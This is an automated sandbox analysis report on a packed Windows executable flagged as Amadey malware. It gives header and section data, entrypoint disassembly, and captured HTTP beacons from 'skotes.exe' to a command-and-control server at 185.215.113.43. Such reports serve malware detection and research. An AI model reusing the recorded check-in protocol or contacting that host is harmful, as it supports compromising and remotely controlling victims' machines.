Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD288E1027Ah
push fs
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD288E12275h
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4af49c	0x10	iaxkupqh
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4af44c	0x18	iaxkupqh
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	ac47e1b1a871500367af13e27838d724	False	0.9983289339237057	data	7.989396011362113	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2aa000	0x200	d317ae2e3ebecca69c3c098d7b674377	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iaxkupqh	0x315000	0x19b000	0x19a600	4f37c619245b05941a0608408ebdb47b	False	0.9948247839247639	data	7.954913292155413	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fnhucfqp	0x4b0000	0x1000	0x400	939382e64d58f151975997b8efda0f62	False	0.8017578125	data	6.222567992963912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b1000	0x3000	0x2200	0597c029dc45930e2075ec18b1569e91	False	0.07674632352941177	DOS executable (COM)	0.8090136675948747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T02:23:07.289907+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49852	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 02:23:05.790829897 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:05.910586119 CET	80	49852	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:05.911155939 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:05.911398888 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:06.030788898 CET	80	49852	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:07.289686918 CET	80	49852	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:07.289906979 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:08.797889948 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:08.798258066 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:08.917701006 CET	80	49861	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:08.917715073 CET	80	49852	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:08.917905092 CET	49852	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:08.917922020 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:08.918174982 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:09.037600040 CET	80	49861	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:10.278426886 CET	80	49861	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:10.278500080 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:11.907174110 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:11.907628059 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:12.026959896 CET	80	49861	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:12.027034044 CET	49861	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:12.027091980 CET	80	49869	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:12.027192116 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:12.027440071 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:12.146830082 CET	80	49869	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:13.404376984 CET	80	49869	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:13.404489994 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:14.907243967 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:14.907609940 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:15.026998043 CET	80	49869	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:15.027048111 CET	80	49875	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:15.027074099 CET	49869	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:15.027120113 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:15.027318954 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:15.146753073 CET	80	49875	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:16.419018984 CET	80	49875	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:16.419154882 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.050060034 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.050399065 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.170028925 CET	80	49886	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:18.170042992 CET	80	49875	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:18.170248985 CET	49875	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.170254946 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.170521975 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:18.290054083 CET	80	49886	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:19.548300028 CET	80	49886	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:19.552217007 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.063821077 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.064207077 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.183532000 CET	80	49886	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:21.183641911 CET	49886	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.183655977 CET	80	49892	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:21.183738947 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.183948994 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:21.303340912 CET	80	49892	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:22.519133091 CET	80	49892	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:22.519207001 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.141606092 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.141865969 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.261298895 CET	80	49900	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:24.261316061 CET	80	49892	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:24.261429071 CET	49892	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.261435986 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.261709929 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:24.381078005 CET	80	49900	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:25.604116917 CET	80	49900	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:25.604293108 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.110852957 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.111263037 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.230796099 CET	80	49900	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:27.230890036 CET	49900	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.230901957 CET	80	49910	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:27.230982065 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.240940094 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:27.360395908 CET	80	49910	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:28.664896965 CET	80	49910	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:28.668133020 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.300632000 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.301898003 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.420723915 CET	80	49910	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:30.420845985 CET	49910	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.421456099 CET	80	49916	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:30.421547890 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.421768904 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:30.541213036 CET	80	49916	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:31.798350096 CET	80	49916	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:31.798424006 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.313546896 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.313905954 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.433547020 CET	80	49923	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:33.433649063 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.433779955 CET	80	49916	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:33.433835983 CET	49916	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.433871031 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:33.553374052 CET	80	49923	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:34.773086071 CET	80	49923	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:34.773163080 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.391622066 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.391997099 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.511497021 CET	80	49923	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:36.511571884 CET	80	49933	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:36.511599064 CET	49923	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.511646986 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.511797905 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:36.631269932 CET	80	49933	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:37.900830030 CET	80	49933	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:37.900966883 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.407180071 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.407635927 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.527213097 CET	80	49933	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:39.527255058 CET	80	49939	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:39.527291059 CET	49933	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.527405024 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.528475046 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:39.648003101 CET	80	49939	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:40.908083916 CET	80	49939	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:40.908196926 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.534626007 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.534941912 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.654375076 CET	80	49939	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:42.654401064 CET	80	49947	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:42.654464006 CET	49939	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.654479027 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.654645920 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:42.774024010 CET	80	49947	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:44.030520916 CET	80	49947	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:44.030580044 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.532176018 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.532553911 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.651959896 CET	80	49947	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:45.652040958 CET	80	49956	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:45.652066946 CET	49947	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.652144909 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.652378082 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:45.771945953 CET	80	49956	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:46.997339964 CET	80	49956	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:47.000190020 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.625961065 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.626307011 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.745793104 CET	80	49956	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:48.745805979 CET	80	49962	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:48.745862007 CET	49956	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.745913982 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.746124029 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:48.865534067 CET	80	49962	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:50.132993937 CET	80	49962	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:50.133121014 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.643630981 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.643913984 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.763387918 CET	80	49972	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:51.763473034 CET	80	49962	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:51.763475895 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.763555050 CET	49962	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.763736963 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:51.883196115 CET	80	49972	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:53.163110971 CET	80	49972	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:53.163187981 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:54.782273054 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:54.782682896 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:54.902151108 CET	80	49972	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:54.902165890 CET	80	49980	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:54.902218103 CET	49972	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:54.902283907 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:54.902472019 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:55.021827936 CET	80	49980	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:56.278815985 CET	80	49980	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:56.278917074 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:57.829103947 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:57.829386950 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:57.948894978 CET	80	49986	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:57.948934078 CET	80	49980	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:57.949018002 CET	49980	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:57.949043036 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:57.949256897 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:23:58.068680048 CET	80	49986	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:59.331363916 CET	80	49986	185.215.113.43	192.168.2.6
Nov 24, 2024 02:23:59.332221985 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:00.971786976 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:00.972152948 CET	49996	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:01.091670036 CET	80	49996	185.215.113.43	192.168.2.6
Nov 24, 2024 02:24:01.091758013 CET	49996	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:01.091866016 CET	80	49986	185.215.113.43	192.168.2.6
Nov 24, 2024 02:24:01.092000961 CET	49996	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:01.092040062 CET	49986	80	192.168.2.6	185.215.113.43
Nov 24, 2024 02:24:01.211548090 CET	80	49996	185.215.113.43	192.168.2.6
Nov 24, 2024 02:24:02.479404926 CET	80	49996	185.215.113.43	192.168.2.6
Nov 24, 2024 02:24:02.480348110 CET	49996	80	192.168.2.6	185.215.113.43

HTTP Request Dependency Graph

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49852	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:05.911398888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:07.289686918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49861	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:08.918174982 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:10.278426886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49869	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:12.027440071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:13.404376984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49875	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:15.027318954 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 24, 2024 02:23:16.419018984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49886	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:23:18.170521975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:23:19.548300028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49892	185.215.113.43	80	5588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
